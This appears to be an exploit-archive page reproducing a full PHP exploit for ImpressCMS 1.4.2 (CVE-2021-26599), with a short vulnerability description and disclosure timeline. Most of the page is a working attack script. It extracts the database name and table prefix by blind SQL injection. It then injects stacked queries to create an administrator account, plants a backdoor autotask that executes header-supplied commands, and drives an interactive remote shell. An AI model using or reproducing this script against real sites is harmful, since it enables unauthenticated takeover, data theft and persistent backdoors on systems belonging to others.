Impresscms 1.4.2 remote code execution (rce) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2022-03-30 | Type : webapps | Platform : php
This exploit / vulnerability Impresscms 1.4.2 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: ImpressCMS 1.4.2 - Remote Code Execution (RCE)
# Exploit Author: Egidio Romano aka EgiX
# Date: 30/03/2022
# Version: <= 1.4.2
# Venor: https://www.impresscms.org
# CVE: CVE-2021-26599

<?php

/*
----------------------------------------------------------
ImpressCMS <= 1.4.2 SQL Injection to Remote Code Execution
----------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.impresscms.org

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerability Description:

User input passed through the "groups" POST parameter to the /include/findusers.php script is not
properly sanitized before being passed to the icms_member_Handler::getUserCountByGroupLink() and
icms_member_Handler::getUsersByGroupLink() methods. These methods use the first argument to
construct a SQL query without proper validation, and this can be exploited by remote attackers
to e.g. read sensitive data from the "users" database table through boolean-based SQL Injection
attacks. The application uses PDO as a database driver, which allows for stacked SQL queries,
as such this vulnerability could be exploited to e.g. create a new admin user and execute
arbitrary PHP code.

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26599 to this vulnerability.

[-] Disclosure timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed
[11/02/2022] - Vendor was informed about the ineffective fix
[09/03/2022] - Version 1.4.4 released
[22/03/2022] - Public disclosure

[-] Technical writeup:

http://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

function hex_enc($input)
{
for ($i = 0; $i < strlen($input); $i++)
$encoded .= sprintf("%02x", ord($input[$i]));
return "0x{$encoded}";
}

print "+-----------------------------------------------------------+\n";
print "| ImpressCMS <= 1.4.2 Remote Code Execution Exploit by EgiX |\n";
print "+-----------------------------------------------------------+\n";

if ($argc != 2)
{
print "\nUsage: php $argv[0] <URL>";
print "\nExample.: php $argv[0] http://localhost/impresscms/";
print "\nExample.: php $argv[0] https://www.impresscms.org/\n\n";
die();
}

$url = $argv[1];
$ch = curl_init();

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

print "\n[+] Retrieving security token (CVE-2021-26598)\n";

curl_setopt($ch, CURLOPT_URL, "{$url}misc.php?action=showpopups&type=friend");

$res = curl_exec($ch);

if (!preg_match("/(cookie: [^;]+); path/i", $res, $sid)) die("[-] Session coookie not found!\n");
if (!preg_match("/TOKEN_REQUEST' value='([^']+)'/", $res, $token)) die("[-] Token not found!\n");

print "[+] Starting SQL Injection attack (CVE-2021-26599)\n";
print "[*] Step 1: retrieving database name\n";

curl_setopt($ch, CURLOPT_URL, "{$url}include/findusers.php");
curl_setopt($ch, CURLOPT_HTTPHEADER, [$sid[1]]);

$params = "user_submit=1&token={$token[1]}&groups[]=%s";

$min = true;
$idx = 1;

while(1)
{
$test = 256;

for ($i = 7; $i >= 0; $i--)
{
$test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));
$sql = "1) AND ORD(SUBSTR(DATABASE(),{$idx},1))<{$test}#";
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));
$min = !preg_match("/No Users Found/", curl_exec($ch));
}

if (($chr = $min ? ($test - 1) : ($test)) == 0) break;
$dbname .= chr($chr); $min = true; $idx++;
print "\r[+] DB name: {$dbname}";
}

print "\n[*] Step 2: retrieving tables prefix\n";

$sub = "SELECT TRIM(TRAILING 'users' FROM table_name) FROM information_schema.tables WHERE table_schema='{$dbname}' AND table_name LIKE '%users'";
$min = true;
$idx = 1;

while(1)
{
$test = 256;

for ($i = 7; $i >= 0; $i--)
{
$test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));
$sql = hex_enc("SELECT IF(ORD(SUBSTR(({$sub}),{$idx},1))<{$test},1,SLEEP(1))");
$sql = "0); SET @q = {$sql}; PREPARE stmt FROM @q; EXECUTE stmt;#";
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));
$start = time(); curl_exec($ch); $secs = time() - $start;
$min = ($secs < 2);
}

if (($chr = $min ? ($test - 1) : ($test)) == 0) break;
$prefix .= chr($chr); $min = true; $idx++;
print "\r[+] Prefix: {$prefix}";
}

print "\n[*] Step 3: creating new admin user\n";

$uid = time();
$enc = hex_enc("egix");
$pwd = hex_enc(md5("egix"));
$sql = "0); INSERT INTO {$prefix}users (uid, uname, login_name, pass, level, enc_type) VALUES ({$uid}, {$enc}, {$enc}, {$pwd}, 5, 0)#";

curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));
curl_exec($ch);

$sql = "0); INSERT INTO {$prefix}groups_users_link (groupid, uid) VALUES (1, {$uid})#";

curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));
curl_exec($ch);

print "[+] Trying to login as the new user\n";

curl_setopt($ch, CURLOPT_URL, "{$url}user.php");
curl_setopt($ch, CURLOPT_POSTFIELDS, "uname=egix&pass=egix&op=login");

if (!preg_match("/(cookie: [^;]+); path/i", curl_exec($ch), $sid)) die("[-] Login failed!\n");

print "[+] Creating malicious autotask\n";

$phpcode = urlencode("if (isset(\$_SERVER[HTTP_CMD])) { print(____); passthru(base64_decode(\$_SERVER[HTTP_CMD])); die; }");

curl_setopt($ch, CURLOPT_URL, "{$url}modules/system/admin.php");
curl_setopt($ch, CURLOPT_HTTPHEADER, [$sid[1], "Referer: {$url}"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, "fct=autotasks&sat_name=rce&sat_code={$phpcode}&sat_enabled=1&op=addautotasks");

if (!preg_match("/HTTP.*302/i", curl_exec($ch))) die("[-] Something went wrong!\n");

print "[+] Launching shell\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
print "\nimpresscms-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}